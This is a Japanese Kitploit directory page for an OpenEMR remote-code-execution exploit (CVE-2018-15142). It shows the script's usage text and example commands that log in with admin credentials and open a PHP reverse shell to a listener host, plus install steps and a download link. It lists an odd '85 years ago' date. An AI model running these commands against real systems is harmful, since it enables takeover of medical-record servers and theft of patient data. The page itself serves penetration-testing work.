Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
OpenEMR-RCE — OpenEMR <= 5.0.1 - (認証済み) リモートコード実行 | Kitploit
ツール/GitHubGitHub/noraj/openemr-rce
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト
GitHubnoraj/openemr-rce

OpenEMR-RCE

OpenEMR <= 5.0.1 - (認証済み) リモートコード実行

リポジトリを見る
85年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

OpenEMR RCE エクスプロイト / PoC

OpenEMR <= 5.0.1.4 - (認証済み) リモートコード実行

CVE-2018-15142 のエクスプロイト。

[EDB-49486] [PacketStorm] [WLB-2020080011]

使い方

root@kitploit:~
$ ruby exploit.rb --help
OpenEMR <= 5.0.1.4 - (Authenticated) Remote Code Execution

Usage:
  exploit.rb manual --root-url <url> --shell <filename> --user <username> --password <password> [--debug]
  exploit.rb semi-auto --root-url <url> --user <username> --password <password> --payload <payload> --lhost <host> --lport <port> [--debug]
  exploit.rb auto --root-url <url> --user <username> --password <password> --lhost <host> --lport <port> [--debug]
  exploit.rb -H | --help

Options:
  -r <url>, --root-url <url>            Root URL (base path) including HTTP scheme, port and root folder
  -s <filename>, --shell <filename>     Filename of the PHP reverse shell payload
  -u <username>, --user <username>      Username of the admin
  -p <password>, --password <password>  Password of the admin
  -m <payload>, --payload <payload>     Metasploit PHP payload
  -h <host>, --lhost <host>             Reverse shell local host
  -t <port>, --lport <port>             Reverse shell local port
  --debug                               Display arguments
  -H, --help                            Show this screen

Examples:
  exploit.rb manual -r http://example.org/openemr -s myRevShell.php -u admin -p pass123
  exploit.rb semi-auto -r http://example.org:8080/openemr -u admin_emr -p qwerty2020 -m 'php/reverse_php' -h 10.0.0.2 -t 8888
  exploit.rb auto -r https://example.org:4443 -u admin_usr -p rock5 -h 192.168.0.2 -t 9999

モード

  • Auto: ターゲットを把握しておりリスナーを準備済みなら、エクスプロイトに残りを任せられます
  • Semit-auto: auto と同じですが、デフォルトの php/reverse_php 以外のペイロードを指定したい場合に使用します
  • Manual: カスタム PHP リバースシェルをすでに持っている場合は、それを指定できます

要件

  • httpclient
  • docopt.rb
  • (任意) Metasploit Framework (auto および semi-auto モードでのリバースシェル生成用の msfvenom)

BlackArch の例:

root@kitploit:~
pacman -S ruby-httpclient ruby-docopt metasploit

gem を使用する例:

root@kitploit:~
gem install httpclient docopt

参考

これは EDB-ID-48515 のより良い書き直しであり、EDB-ID-45202 パート2 の実装です:

  • 引数を使用(ハードコードされた値の代わり)
  • カスタム PHP リバースシェルを許可、または msfconsole で自動生成
  • よりクリーンでカスタマイズ可能
  • ruby を使用(python2 は非推奨)

このエクスプロイトは Ruby 2.7.1 でテストされています。

EDB-ID-48515 について:

root@kitploit:~
Exploit Author: Musyoka Ian
Date: 2020-05-25
Vendor Homepage: https://www.open-emr.org/
Software Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz
Dockerfile: https://github.com/haccer/exploits/blob/master/OpenEMR-RCE/Dockerfile 
Version: < 5.0.1 (Patch 4)
Tested on: Ubuntu LAMP, OpenEMR Version 5.0.1.3
References: https://medium.com/@musyokaian/openemr-version-5-0-1-remote-code-execution-vulnerability-2f8fd8644a69
ツールをダウンロード